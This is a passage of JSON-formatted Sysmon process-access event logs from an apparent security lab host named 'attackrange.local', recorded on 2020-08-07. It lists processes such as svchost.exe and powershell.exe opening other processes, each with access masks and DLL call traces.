11:55:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4449,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:41.084\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:41.084","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4450,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:41.084\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:41.084","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4451,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:41.084\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:41.084","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4452,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:41.084\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:41.084","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4453,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:41.084\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:41.084","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4454,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:41.084\r\nSourceProcessGUID: {90617006-413C-5F2D-0000-0010D6340600}\r\nSourceProcessId: 4664\r\nSourceThreadId: 4896\r\nSourceImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetProcessGUID: {90617006-413D-5F2D-0000-001051580600}\r\nTargetProcessId: 5048\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+3332f6|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+270222|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+26fe9f|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+26f9ee|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+26f97a|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+26e48b|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+7c241b|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+7c18c9|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.P521220ea#\\7c5888f012755a21c68b60f0e76e135b\\Microsoft.PowerShell.Commands.Utility.ni.dll+ffb6fffd(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.P521220ea#\\7c5888f012755a21c68b60f0e76e135b\\Microsoft.PowerShell.Commands.Utility.ni.dll+ffb6fffd(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+d671daec|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+d66f98c5|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+d66f9596|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+d71aa9ab|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+d66ba12c|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+d67185fb|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+d66fbc60|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+d66fbc60|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+d66fbc60|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+d66fbc60","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:41.084","SourceProcessGUID":"{90617006-413C-5F2D-0000-0010D6340600}","SourceProcessId":"4664","SourceThreadId":"4896","SourceImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetProcessGUID":"{90617006-413D-5F2D-0000-001051580600}","TargetProcessId":"5048","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+3332f6|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+270222|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+26fe9f|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+26f9ee|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+26f97a|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+26e48b|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+7c241b|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+7c18c9|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.P521220ea#\\7c5888f012755a21c68b60f0e76e135b\\Microsoft.PowerShell.Commands.Utility.ni.dll+ffb6fffd(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.P521220ea#\\7c5888f012755a21c68b60f0e76e135b\\Microsoft.PowerShell.Commands.Utility.ni.dll+ffb6fffd(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+d671daec|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+d66f98c5|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+d66f9596|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+d71aa9ab|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+d66ba12c|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+d67185fb|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+d66fbc60|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+d66fbc60|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+d66fbc60|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+d66fbc60","EventReceivedTime":"2020-08-07 11:55:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4455,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:41.084\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 